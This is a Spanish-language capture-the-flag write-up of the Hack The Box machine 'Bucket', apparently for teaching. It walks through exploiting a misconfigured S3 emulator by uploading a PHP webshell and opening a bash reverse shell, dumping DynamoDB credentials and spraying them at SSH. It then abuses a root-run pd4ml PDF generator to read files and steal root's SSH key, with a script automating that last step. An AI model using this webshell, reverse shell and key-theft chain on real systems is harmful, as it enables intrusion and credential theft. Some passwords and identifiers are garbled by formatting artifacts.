Writeup: Bucket

Tu Nombre

January 9, 2025

Contents

1 Introducción

La máquina **Bucket** de Hack The Box es un desafío de nivel medio que simula un entorno que utiliza servicios similares a Amazon Web Services (AWS), específicamente S3 y DynamoDB. El objetivo principal es identificar y explotar vulnerabilidades en configuraciones mal implementadas de estos servicios para obtener acceso inicial al sistema, escalar privilegios y, finalmente, comprometer la máquina por completo.

En este writeup se detallarán los pasos realizados para lograr estos objetivos, incluyendo las herramientas y metodologías utilizadas.

1.1 Objetivos Principales

- Realizar un reconocimiento exhaustivo del sistema para identificar servicios y posibles puntos de entrada.
- Explorar y explotar vulnerabilidades en servicios web y configuraciones relacionadas con AWS S3 y DynamoDB.
- Escalar privilegios desde un usuario inicial hasta obtener acceso como `root`.

1.2 Herramientas y Metodologías Utilizadas

- **Nmap**: Para el escaneo de puertos y servicios.
- **Burp Suite**: Para interceptar y analizar tráfico HTTP.
- **AWS CLI**: Cliente de línea de comandos de AWS para interactuar con servicios S3 y DynamoDB.
- **Curl**: Para realizar solicitudes HTTP y probar puntos de entrada.
- **JQ**: Para procesar y manipular datos en formato JSON.
- **CrackMapExec**: Para probar credenciales y autenticación en servicios SSH.
- **SSH y SSHPass**: Para acceder al sistema de forma remota.
- **Netcat**: Para establecer conexiones de reverse shell.

2 Reconocimiento

2.1 Escaneo Inicial de Puertos

Se inició el reconocimiento con un escaneo completo de todos los puertos TCP para identificar los servicios expuestos por la máquina objetivo. Se utilizó el siguiente comando de `Nmap`:

```
sudo nmap -p- --open -sS -vvv -n -Pn -oN nmap_results/open_ports.txt 10.10.10.21
```

Los resultados indicaron que los siguientes puertos estaban abiertos:

- **22/tcp**: Servicio SSH (responde con `SYN-ACK`, TTL 63).
- **80/tcp**: Servicio HTTP (responde con `SYN-ACK`, TTL 63).

2.2 Detección de Servicios y Versiones

Se procedió a un escaneo más detallado de los puertos abiertos para identificar las versiones de los servicios y posibles vulnerabilidades asociadas. El comando utilizado fue:

```
sudo nmap -sC -sV -p22,80 -oN nmap_results/service_scan.txt 10.10.10.212
```

Los resultados obtenidos fueron los siguientes:

- **22/tcp (SSH)**: `OpenSSH 8.2p1` corriendo en Ubuntu (Protocolo 2.0).
  - Claves host detectadas: RSA, ECDSA, ED25519.
- **80/tcp (HTTP)**: `Apache HTTPD 2.4.41` corriendo en Ubuntu.
  - La cabecera HTTP indica una redirección a `http://bucket.htb`.

El sistema operativo identificado es **Ubuntu Linux**, basado en el CPE: `cpe:/o:linux:linux_kernel`.

2.3 Análisis de Servicios Detectados

El análisis preliminar sugiere que los servicios SSH y HTTP están configurados de forma estándar, sin vulnerabilidades evidentes en sus versiones. Sin embargo, la redirección a `bucket.htb` indica que se debe configurar este dominio en el archivo `/etc/hosts` para acceder correctamente al sitio web.

2.4 Enumeración de Subdominios y Análisis del Código Fuente

Después de agregar `bucket.htb` al archivo `/etc/hosts`, se accedió al sitio web principal mediante un navegador web. Los pasos realizados fueron los siguientes:

1. Acceso al dominio principal `http://bucket.htb`.
2. Análisis del contenido visible en la página, que proporcionaba información genérica sobre una plataforma de publicidad, sin funcionalidades interactivas aparentes.
3. Revisión del código fuente HTML de la página principal para identificar referencias a recursos adicionales o rutas ocultas.

Análisis del Código Fuente En el código fuente de la página se identificaron referencias a un subdominio adicional, `s3.bucket.htb`, en las siguientes líneas:

```
<img src="http://s3.bucket.htb/adserver/images/bug.jpg" alt="Bug">
<img src="http://s3.bucket.htb/adserver/images/malware.png" alt="Malware">
```

Estas referencias sugieren que el subdominio `s3.bucket.htb` es utilizado para alojar recursos estáticos, posiblemente a través de un servicio similar a AWS S3.

Configuración del Subdominio Para explorar el subdominio identificado, se agregó `s3.bucket.htb` al archivo `/etc/hosts`:

```
echo "10.10.10.212 s3.bucket.htb" | sudo tee -a /etc/hosts
```

Acceso y Análisis del Subdominio Al acceder a `http://s3.bucket.htb`, se recibió la siguiente respuesta:

```
{"status": "running"}
```

Para obtener más detalles, se interceptó la solicitud HTTP utilizando **Burp Suite**. Los encabezados de la respuesta incluyen:

```
Server: hypercorn-h11
Access-Control-Allow-Methods: HEAD, GET, PUT, POST, DELETE, OPTIONS, PATCH
Access-Control-Allow-Headers: authorization, content-type, content-md5,
                              x-amz-content-sha256, x-amz-date, x-amz-security-t
                              x-amz-user-agent, x-amz-target, x-amz-acl,
                              x-amz-version-id, x-localstack-target, x-amz-taggi
```

Interpretación de los Encabezados Los encabezados que contienen `x-amz` son característicos de servicios de Amazon AWS. Una búsqueda rápida confirma que estos encabezados están asociados con APIs y configuraciones de AWS S3.

Impacto del Descubrimiento La combinación de:

- El nombre de la máquina (`Bucket`).
- El subdominio (`s3.bucket.htb`).
- Los encabezados HTTP relacionados con AWS.

Indica que la máquina está simulando servicios de Amazon AWS, específicamente S3. Esto sugiere que se pueden explorar vulnerabilidades relacionadas con configuraciones incorrectas de servicios S3, como buckets públicos o permisos inapropiados.

Próximos Pasos Dado este contexto, se planificaron los siguientes pasos:

1. Utilizar **AWS CLI** para interactuar con el servicio S3 simulado y enumerar los buckets disponibles.
2. Probar operaciones comunes como listar, subir y descargar objetos para identificar posibles configuraciones erróneas.
3. Explorar la posibilidad de cargar archivos maliciosos que puedan ser ejecutados en el servidor.
4. Investigar si existen otros servicios relacionados, como DynamoDB, que puedan ser explotados.

2.5 Exploración del Subdominio `s3.bucket.htb`

Tras configurar el subdominio `s3.bucket.htb` en el archivo `/etc/hosts`, se procedió a su exploración utilizando un navegador web. La respuesta inicial recibida fue:

```
{"status": "running"}
```

Esta respuesta sugiere que el servicio está activo pero no proporciona información adicional visible desde el navegador.

Análisis Avanzado con Burp Suite Para profundizar en el análisis, se interceptaron y examinaron las solicitudes HTTP enviadas al subdominio mediante Burp Suite. A continuación, se describen los detalles relevantes de la solicitud y la respuesta:

- **Solicitud (Request):**

```
GET / HTTP/1.1
Host: s3.bucket.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Fi
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
        image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
```

- **Respuesta (Response):**

```
HTTP/1.1 404 Not Found
Server: hypercorn-h11
Content-Type: text/html; charset=utf-8
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, GET, PUT, POST, DELETE, OPTIONS, PA
Access-Control-Allow-Headers: authorization, content-type, content-md5,
                              x-amz-content-sha256, x-amz-date, x-amz-
                              x-amz-user-agent, x-amz-target, x-amz-ac
                              x-amz-version-id, x-localstack-target, x
Connection: close
{"status": "running"}
```

La respuesta incluye encabezados específicos de Amazon AWS, como `x-amz-content-sha256`, `x-amz-target` y `x-amz-acl`, que son característicos de servicios S3 y API de Amazon Cloud.

Relación con Servicios AWS El análisis de los encabezados y la configuración sugiere que el subdominio `s3.bucket.htb` está diseñado para simular un entorno relacionado con AWS S3. Los elementos clave que respaldan esta conclusión incluyen:

- El nombre de la máquina: `Bucket`, que hace referencia directa a los buckets de S3.

- El subdominio: `s3.bucket.htb`, que sigue el patrón típico de nomenclatura de Amazon S3.
- Encabezados HTTP relacionados con S3 y APIs AWS.

Estos elementos apuntan a que el subdominio emula funcionalidades relacionadas con almacenamiento en la nube.

Implicaciones y Consideraciones La presencia de encabezados como `Access-Control-Allow-Methods` y `Access-Control-Allow-Headers` sugiere que se pueden enviar solicitudes HTTP con métodos como `GET`, `POST`, `PUT` o `DELETE`. Esto abre la posibilidad de probar configuraciones relacionadas con buckets mal protegidos o servicios mal configurados.

Próximos Pasos Con base en los hallazgos, se definieron las siguientes acciones para avanzar en la explotación:

1. Enumerar rutas o endpoints disponibles en el subdominio utilizando herramientas como `ffuf` o `gobuster`.
2. Probar los métodos HTTP permitidos para identificar puntos vulnerables, como la posibilidad de listar, crear o modificar objetos en el bucket.
3. Examinar configuraciones específicas de API relacionadas con AWS S3, como accesos públicos o políticas de permisos incorrectas.
4. Verificar si el subdominio permite el acceso a datos sensibles mediante pruebas adicionales.

2.6 Exploración del Sitio Principal en S3

Durante la exploración del subdominio `s3.bucket.htb`, se identificó que los recursos del sitio principal, como imágenes y páginas, están alojados en un bucket S3 asociado al subdominio. Para confirmar esta hipótesis, se intentó acceder directamente al archivo `index.html` en el directorio `/adserver/`:

```
root@kali# curl -s http://s3.bucket.htb/adserver/index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
```

```
<title></title>
<style>
*{
    margin:0;
    padding:0;
    box-sizing:border-box
...[snip]...
```

El contenido obtenido coincide con el código HTML del sitio principal `bucket.htb`, lo que confirma que las páginas del sitio también están alojadas en este bucket.

2.7 Conceptos Clave Relacionados con AWS y S3

Antes de interactuar con el bucket S3, es importante comprender algunos términos clave asociados con Amazon Web Services (AWS) y S3:

- **Amazon Web Services (AWS)**: Conjunto de servicios en la nube ofrecidos por Amazon, que incluye almacenamiento, redes, bases de datos y más.
- **Simple Storage Service (S3)**: Servicio de almacenamiento que permite almacenar objetos (datos), asignar permisos y acceder a los datos a través de llamadas API o HTTP(S). Aplicaciones comunes incluyen:
  - Hospedaje de sitios web.
  - Respaldo de datos.
  - Almacenamiento de datos masivos (*data lakes*).
- **Bucket**: Área de almacenamiento asociada a una cuenta. Cada bucket tiene un nombre único que se utiliza para acceder a los datos almacenados.

El subdominio `s3.bucket.htb` sigue el formato típico de las URLs de S3, como se observa en las imágenes alojadas:

```
http://s3.bucket.htb/adserver/images/bug.jpg
```

El formato general para acceder a archivos en un bucket S3 es:

```
http://s3.[host]/[bucket name]/[file]
```

2.8 Interacción Inicial con el Bucket S3

Para interactuar con el bucket S3, se pueden realizar operaciones básicas utilizando herramientas como `curl`. Sin embargo, para operaciones más avanzadas, se utilizó el cliente de línea de comandos `awscli`, que se instala con:

```
apt install awscli
```

El comando `aws help` proporciona un manual con subcomandos útiles, como `s3`. Una opción clave para trabajar con este entorno es el parámetro `--endpoint-url`, que permite dirigir las solicitudes a `s3.bucket.htb` en lugar de los servidores S3 de Amazon.

Próximos Pasos Con la interacción básica establecida, los pasos siguientes incluyeron:

1. Listar los archivos disponibles en el bucket `adserver` usando `aws s3 ls`.
2. Explorar configuraciones de permisos en el bucket para identificar configuraciones incorrectas.
3. Probar la capacidad de subir y ejecutar archivos, en particular archivos `.php`.
4. Analizar rutas y datos sensibles dentro del bucket.

2.9 Configuración de Credenciales y Exploración del Bucket

Inicialmente, el comando `aws s3 ls` falló al intentar listar los buckets disponibles. Para resolver esto, se configuraron credenciales falsas utilizando el siguiente comando:

```
root@kali# aws configure
AWS Access Key ID [None]: fakeKey
AWS Secret Access Key [None]: fakeSecret
Default region name [None]: bucket
Default output format [None]:
```

Estas credenciales funcionaron debido a una configuración errónea del bucket que permitía acceso anónimo.

Listado de Buckets Disponibles Una vez configuradas las credenciales, se utilizó `aws s3 ls` para listar los buckets disponibles en el servidor:

```
root@kali# aws s3 --endpoint-url http://s3.bucket.htb ls
2021-02-02 06:36:03 adserver
```

El único bucket disponible es `adserver`.

Contenido del Bucket Se exploraron los contenidos del bucket `adserver`:

```
root@kali# aws s3 --endpoint-url http://s3.bucket.htb ls s3://adserver/
                           PRE images/
2021-02-02 06:38:04       5344 index.html

root@kali# aws s3 --endpoint-url http://s3.bucket.htb ls s3://adserver/images/
2021-02-02 06:40:04      37840 bug.jpg
2021-02-02 06:40:04      51485 cloud.png
2021-02-02 06:40:04      16486 malware.png
```

El bucket contiene un archivo `index.html` y un directorio `images/` que almacena las imágenes del sitio principal.

Pruebas de Subida de Archivos Para probar las configuraciones de permisos del bucket, se creó un archivo de prueba (`test.txt`) y se subió utilizando `aws s3 cp`:

```
root@kali# echo "Test file" > test.txt
root@kali# aws s3 --endpoint-url http://s3.bucket.htb cp test.txt s3://adserver/
upload: ./test.txt to s3://adserver/test.txt
```

Aunque el archivo se subió exitosamente, no fue accesible desde la URL principal, lo que indica una restricción en los tipos de archivos servidos.

Archivos Soportados Se observó que el servidor sólo permite el acceso a archivos con extensiones específicas (`.html` y `.php`). Por ejemplo:

```
root@kali# aws s3 --endpoint-url http://s3.bucket.htb cp test.txt s3://adserver/
upload: ./test.txt to s3://adserver/test.html

root@kali# curl http://bucket.htb/test.html
Test file
```

Ejecución de Código PHP La capacidad de subir y ejecutar archivos `.php` en el servidor sugiere una oportunidad de explotación significativa. Esto permitirá subir scripts maliciosos para ejecutar comandos en el servidor.

Próximos Pasos

1. Crear un archivo `.php` malicioso para ejecutar comandos en el servidor.
2. Probar la funcionalidad de ejecución de código mediante un `curl`.
3. Explorar configuraciones adicionales del bucket para identificar otras vulnerabilidades.

2.10 Subida de una Webshell y Acceso Inicial

Después de identificar que el servidor puede ejecutar archivos `.php`, se procedió a subir una webshell simple para obtener acceso inicial al sistema.

Creación de la Webshell Se creó una webshell básica en PHP que permite ejecutar comandos en el servidor a través del parámetro `cmd`:

```
root@kali# cat /opt/shells/php/cmd.php
<?php system($_REQUEST["cmd"]); ?>
```

Subida de la Webshell La webshell fue subida al bucket `adserver` utilizando el comando `aws s3 cp`:

```
root@kali# aws s3 --endpoint-url http://s3.bucket.htb cp /opt/shells/php/cmd.php
upload: /opt/shells/php/cmd.php to s3://adserver/cmd.php
```

Ejecución de la Webshell Después de un breve tiempo, el archivo `cmd.php` estuvo disponible en el sitio principal y pudo ejecutarse correctamente. Por ejemplo, se utilizó para ejecutar el comando `id` y obtener información sobre el usuario actual:

```
root@kali# curl http://bucket.htb/cmd.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Nota: El servidor tiene un mecanismo automatizado que limpia los archivos del bucket cada pocos minutos, por lo que si la webshell desaparece, es necesario subirla de nuevo.

Obtención de una Reverse Shell Para escalar desde una webshell a una conexión interactiva, se utilizó un comando de reverse shell en Bash. El comando fue enviado a través de la webshell:

```
root@kali# curl http://bucket.htb/cmd.php --data-urlencode "cmd=bash -c 'bash -i
```

En el sistema atacante, se configuró un listener en el puerto 443 utilizando `nc` para recibir la conexión:

```
root@kali# nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.212.
Ncat: Connection from 10.10.10.212:47408.
bash: cannot set terminal process group (922): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bucket:/var/www/html$
```

Resultados Se obtuvo acceso inicial al sistema como el usuario `www-data`. Este usuario tiene permisos limitados en el servidor, pero proporciona un punto de partida para realizar una escalada de privilegios.

Próximos Pasos

1. Enumerar el sistema para identificar configuraciones, archivos sensibles o servicios internos que puedan permitir una escalada de privilegios.
2. Establecer un acceso más persistente en caso de que el mecanismo de limpieza afecte la conexión.

2.11 Exploración Inicial del Sistema

Con el acceso obtenido como el usuario `www-data`, la exploración inicial del sistema reveló información importante sobre el entorno y posibles puntos de escalada de privilegios.

Directorio `/var/www/html` La sesión comenzó en el directorio `/var/www/html`, que contiene únicamente el archivo `index.html`. La webshell subida anteriormente apareció después de un corto periodo de tiempo:

```
www-data@bucket:/var/www/html$ ls -l
total 12
-rw-r--r-- 1 root root   35 Feb  2 12:01 cmd.php
-rw-r--r-- 1 root root 5344 Feb  2 12:01 index.html
```

Es interesante notar que los archivos están bajo propiedad del usuario `root`, y el usuario `www-data` no tiene permisos para escribir en este directorio.

Directorio `/var/www` Explorando el directorio `/var/www`, se encontró una carpeta adicional llamada `bucket-app`, pero el acceso está restringido:

```
www-data@bucket:/var/www$ ls -l
total 8
drwxr-x---+ 4 root root 4096 Sep 23 10:56 bucket-app
drwxr-xr-x  2 root root 4096 Feb  2 12:02 html
```

El símbolo `+` al final de los permisos indica que `bucket-app` tiene configuraciones extendidas o ACLs (Access Control Lists). Al inspeccionar los ACLs con `getfacl`, se descubrió que el usuario `roy` tiene acceso de lectura y ejecución:

```
www-data@bucket:/var/www$ getfacl bucket-app/
# file: bucket-app/
# owner: root
# group: root
user::rwx
user:roy:r-x
group::r-x
mask::r-x
other::---
```

Directorio `/home` En el directorio `/home`, solo existe un usuario: `roy`. Aunque no es posible leer el archivo `user.txt`, se encontró un directorio `project`:

```
www-data@bucket:/home/roy$ ls -la
total 28
drwxr-xr-x 3 roy  roy  4096 Sep 24 03:16 .
drwxr-xr-x 3 root root 4096 Sep 16 12:59 ..
lrwxrwxrwx 1 roy  roy     9 Sep 16 12:59 .bash_history -> /dev/null
-rw-r--r-- 1 roy  roy   220 Sep 16 12:59 .bash_logout
```

```
-rw-r--r-- 1 roy  roy  3771 Sep 16 12:59 .bashrc
-rw-r--r-- 1 roy  roy   807 Sep 16 12:59 .profile
drwxr-xr-x 3 roy  roy  4096 Sep 24 03:16 project
-r-------- 1 roy  roy    33 Jan 31 13:54 user.txt
```

El directorio `project` contiene los siguientes archivos:

```
www-data@bucket:/home/roy/project$ ls
composer.json  composer.lock  db.php  vendor
```

Archivos de Interés

- `composer.json` y `composer.lock`: Probablemente relacionados con dependencias de un proyecto PHP. Pueden contener información útil para futuras escaladas.
- `db.php`: Este archivo podría contener credenciales para acceder a bases de datos.
- `vendor/`: Carpeta típica generada por `composer` que contiene las dependencias del proyecto.

Próximos Pasos

1. Analizar el contenido de los archivos en `project`, en particular `db.php`, para identificar credenciales o configuraciones sensibles.
2. Explorar el directorio `bucket-app` desde la perspectiva del usuario `roy`, ya que tiene permisos de lectura y ejecución.
3. Buscar maneras de escalar privilegios al usuario `roy`.

2.12 Análisis de la Base de Datos DynamoDB

Durante la exploración del sistema, el archivo `db.php` en el directorio `/home/roy/project` reveló información de conexión a una base de datos DynamoDB, que es una solución de base de datos NoSQL proporcionada por Amazon AWS.

Uso de `awscli` para Interactuar con DynamoDB Dado que DynamoDB utiliza el cliente de línea de comandos de AWS (`aws`), se exploraron los subcomandos relacionados con DynamoDB utilizando:

```
aws dynamodb help
```

El subcomando `list-tables` parecía un buen punto de partida para enumerar las tablas disponibles. Sin embargo, ejecutar este comando en el sistema `Bucket` resultó en un error de configuración de región:

```
www-data@bucket:/home/roy/project$ aws --endpoint-url http://127.0.0.1:4566 dyna
You must specify a region. You can also configure your region by running "aws co
```

Intentar configurar las preferencias con `aws configure` falló debido a problemas de permisos:

```
www-data@bucket:/etc/apache2/sites-enabled$ aws configure
AWS Access Key ID [None]: fakeKey
AWS Secret Access Key [None]: fakeSecret
Default region name [None]: bucket
Default output format [None]:

[Errno 13] Permission denied: '/var/www/.aws'
```

Conexión desde el Sistema Local Se probó establecer una conexión desde el sistema atacante (`kali`), lo que permitió interactuar con la base de datos DynamoDB utilizando las credenciales configuradas previamente. Al listar las tablas disponibles, se identificó una tabla llamada `users`:

```
root@kali# aws --endpoint-url http://s3.bucket.htb dynamodb list-tables
{
    "TableNames": [
        "users"
    ]
}
```

Extracción de Datos de la Tabla `users` Se utilizó el subcomando `scan` para realizar un volcado completo de la tabla `users`. Esto reveló tres usuarios con sus contraseñas asociadas:

```
root@kali# aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name us
{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
```

```
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}
```


Usuarios y Contraseñas Identificados

- **Usuario:** `Mgmt`, **Contraseña:** `Management@1@`
- **Usuario:** `Cloudadm`, **Contraseña:** `Welcome123!`
- **Usuario:** `Sysadm`, **Contraseña:** `n2vM-<`$_{KQ}$: $.Aa2$

Próximos Pasos

1. Probar las credenciales extraídas en servicios accesibles desde el sistema `Bucket`.
2. Examinar la funcionalidad de `Cloudadm` y `Sysadm` para buscar permisos adicionales o configuraciones erróneas.
3. Intentar una escalada de privilegios utilizando estas credenciales.

2.13 Acceso al Usuario `roy` y Captura de la Bandera `user.txt`

Con las credenciales extraídas de la base de datos DynamoDB, se probó acceder al servicio SSH como el usuario `roy`.

Preparación de las Contraseñas Para facilitar la prueba de las contraseñas, se utilizó `jq` para extraer las contraseñas directamente del resultado de DynamoDB y guardarlas en un archivo de texto:

```
root@kali# aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name us
Management@#1@#
Welcome123!
n2vM-<_K_Q:.Aa2

root@kali# aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name us
```

Pruebas con `crackmapexec` Se utilizó la herramienta `crackmapexec` para probar automáticamente cada contraseña contra el servicio SSH del sistema objetivo. Los resultados fueron los siguientes:

```
root@kali# crackmapexec ssh 10.10.10.212 -u roy -p passwords
SSH         10.10.10.212    22     10.10.10.212     [*] SSH-2.0-OpenSSH_8.2p1 Ub
SSH         10.10.10.212    22     10.10.10.212     [-] roy:Management@#1@# Auth
SSH         10.10.10.212    22     10.10.10.212     [-] roy:Welcome123! Authenti
SSH         10.10.10.212    22     10.10.10.212     [+] roy:n2vM-<_K_Q:.Aa2
```

La última contraseña ($\texttt{n2vM-<}_{KQ}\texttt{:.Aa2}$) $fue exitosa para el usuario$ `roy`.

Acceso a través de SSH Con la contraseña correcta, se estableció una conexión SSH al sistema como el usuario roy utilizando sshpass:

```
root@kali# sshpass -p 'n2vM-<_K_Q:.Aa2' ssh roy@10.10.10.212
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64)
...[snip]...
Last login: Wed Sep 23 03:33:53 2020 from 10.10.14.14
roy@bucket:~$
```

Captura de la Bandera `user.txt` Con el acceso establecido como roy, se procedió a capturar la bandera user.txt ubicada en su directorio /home/roy:

```
roy@bucket:~$ cat user.txt
[Contenido de la bandera]
```

Resultados El acceso al usuario roy y la captura de la bandera marcan un progreso significativo en la explotación del sistema. Ahora se puede continuar con la exploración y enumeración como roy para buscar oportunidades adicionales de escalada de privilegios.

Próximos Pasos

1. Enumerar configuraciones, procesos y permisos accesibles con el usuario roy.
2. Explorar el directorio bucket-app, ya que roy tiene permisos de acceso según los ACLs.
3. Buscar formas de escalar privilegios al usuario root.

2.14 Enumeración del Sistema y Análisis del Servicio bucket-app

La enumeración del sistema como el usuario roy reveló servicios adicionales escuchando en localhost, configuraciones interesantes en los archivos de Apache, y un código en index.php que podría permitir la ejecución de comandos.

Servicios Escuchando en localhost El comando netstat mostró un servicio escuchando en el puerto 8000, además de otros servicios relevantes:

```
roy@bucket:/var/www/bucket-app$ netstat -tnl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:33555         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:4566          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
```

El puerto 8000 corresponde al servicio bucket-app, que está configurado para ejecutarse solo en localhost. La configuración en /etc/apache2/sites-enabl confirmó esta configuración:

```
<VirtualHost 127.0.0.1:8000>
        <IfModule mpm_itk_module>
                AssignUserId root root
        </IfModule>
        DocumentRoot /var/www/bucket-app
</VirtualHost>
```

El servicio en 8000 se ejecuta como root, lo cual es significativo, ya que cualquier vulnerabilidad explotada en este servicio podría permitir escalar privilegios al usuario root.

Acceso al Servicio con un Túnel SSH Dado que el servicio en 8000 escucha únicamente en localhost, se creó un túnel SSH para acceder a él desde la máquina atacante:

```
root@kali# ssh -L 8000:localhost:8000 roy@10.10.10.212
```

Esto permitió acceder al servicio en el puerto 8000 desde la máquina atacante. La página mostró que el sitio está "en construcción".

Análisis del Código `index.php` El directorio /var/www/bucket-app contiene varios archivos y directorios, incluyendo index.php, que contiene el siguiente código relevante:

```
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
        if($_POST["action"]==="get_alerts") {
                date_default_timezone_set('America/New_York');
                $client = new DynamoDbClient([
                        'profile' => 'default',
                        'region'  => 'us-east-1',
                        'version' => 'latest',
                        'endpoint' => 'http://localhost:4566'
                ]);

                $iterator = $client->getIterator('Scan', array(
                        'TableName' => 'alerts',
                        'FilterExpression' => "title = :title",
                        'ExpressionAttributeValues' => array(":title"=>array("S"
                ));
```

```
                foreach ($iterator as $item) {
                        $name=rand(1,10000).'.html';
                        file_put_contents('files/'.$name,$item["data"]);
                }
                passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.
        }
}
?>
```

Funcionamiento del Código El código ejecuta las siguientes acciones cuando se recibe una solicitud POST con el parámetro action establecido en "get$_a$*lerts*" :

Configura un cliente DynamoDB para conectarse al servicio en http://localhost:4566.

Realiza una consulta en la tabla alerts para buscar entradas con el título "Ransomware".

Para cada resultado, genera un archivo HTML temporal con el contenido del campo data.

Convierte el archivo HTML en un archivo PDF utilizando el comando java y el archivo pd4ml$_d$*emo.jar*.

Implicaciones El uso de la función `passthru` para ejecutar comandos Java indica que esta funcionalidad podría ser explotada para ejecutar comandos arbitrarios en el sistema, ya que el servicio se ejecuta como `root`. Esto representa una oportunidad significativa para escalar privilegios.

Próximos Pasos

1. Enviar una solicitud `POST` al servicio en `8000` con parámetros personalizados para intentar ejecutar comandos arbitrarios.
2. Explorar el directorio `files/` para identificar posibles archivos generados por el servicio.
3. Verificar si se pueden inyectar comandos en la cadena pasada a `passthru`.

2.15 Explotación del Servicio `bucket-app` para Leer Archivos

Aprovechando la funcionalidad en `index.php` y la capacidad de interactuar con DynamoDB, se diseñó un payload para leer archivos sensibles del sistema. Este proceso implicó varias etapas, desde la creación de una tabla hasta la extracción del archivo deseado.

Preparación del Entorno Dado que la tabla `alerts` no existía inicialmente, se creó utilizando el siguiente comando:

```
root@kali# aws --endpoint-url http://s3.bucket.htb dynamodb create-table \
    --table-name alerts \
    --attribute-definitions AttributeName=title,AttributeType=S AttributeName=da
    --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RAN
    --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5
```

Esto creó la tabla `alerts`, que posteriormente apareció al listar las tablas disponibles:

```
root@kali# aws --endpoint-url http://s3.bucket.htb dynamodb list-tables
{
    "TableNames": [
        "alerts",
        "users"
    ]
}
```

Inserción de un Elemento de Prueba Se agregó un elemento de prueba a la tabla para verificar su funcionalidad:

```
root@kali# aws --endpoint-url http://s3.bucket.htb dynamodb put-item \
    --table-name alerts \
    --item '{"title":{"S":"Ransomware"},"data":{"S":"This is a test"}}'
```

Luego, se activó la funcionalidad de `index.php` con un `POST`:

```
root@kali# curl http://127.0.0.1:8000/index.php --data 'action=get_alerts'
```

En el servidor, se generaron un archivo HTML y un archivo PDF:

```
roy@bucket:/var/www/bucket-app/files$ ls
5295.html  result.pdf

roy@bucket:/var/www/bucket-app/files$ cat 5295.html
This is a test
```

El archivo PDF fue descargado al sistema atacante usando `scp`:

```
root@kali# sshpass -p 'n2vM-<_K_Q:.Aa2' scp roy@10.10.10.212:/var/www/bucket-app
```

Diseño del Payload para Leer Archivos Sensibles Al investigar `pd4ml`, se encontró que admite la inclusión de archivos adjuntos utilizando etiquetas como `pd4ml:attachment`. Se diseñó un payload para leer el archivo `/etc/passwd`:

```
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="
```

El payload se insertó en la tabla `alerts`:

```
root@kali# aws --endpoint-url http://s3.bucket.htb dynamodb put-item \
    --table-name alerts \
    --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><pd4ml:attachment src
```

Luego, se activó la funcionalidad de `index.php` con:

```
root@kali# curl http://127.0.0.1:8000/index.php --data 'action=get_alerts'
```

El archivo PDF generado contenía un enlace al archivo `/etc/passwd`, el cual se pudo abrir con un lector de PDF.

Automatización del Proceso con un Script Para simplificar el proceso, se desarrolló un script que realiza automáticamente todos los pasos:

```
# Insertar un payload en la tabla "alerts" para obtener la id_rsa de root
echo "[*] Insertando un payload en la tabla 'alerts'..."
aws --endpoint-url http://s3.bucket.htb dynamodb put-item \
    --table-name alerts \
    --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><head></head><body><i

# Activar el procesamiento del payload
echo "[*] Activando el procesamiento del payload con curl..."
curl http://127.0.0.1:8000/index.php --data 'action=get_alerts'

# Usar sshpass para copiar la id_rsa de root desde el servidor
echo "[*] Descargando la clave id_rsa de root desde el servidor..."
sshpass -p "$REMOTE_PASSWORD" scp -o StrictHostKeyChecking=no $REMOTE_USER@$REMO

# Configurar permisos para la clave descargada
chmod 600 $LOCAL_ID_RSA_PATH
```

```
# Conectarse al servidor como root usando la clave descargada
echo "[*] Conectándose al servidor como root..."
ssh -i $LOCAL_ID_RSA_PATH root@$REMOTE_HOST
```

Resultados Este proceso permitió leer cualquier archivo del sistema, incluida la clave privada `id_rsa` del usuario `root`. Esto llevó a obtener acceso completo como `root` en el sistema.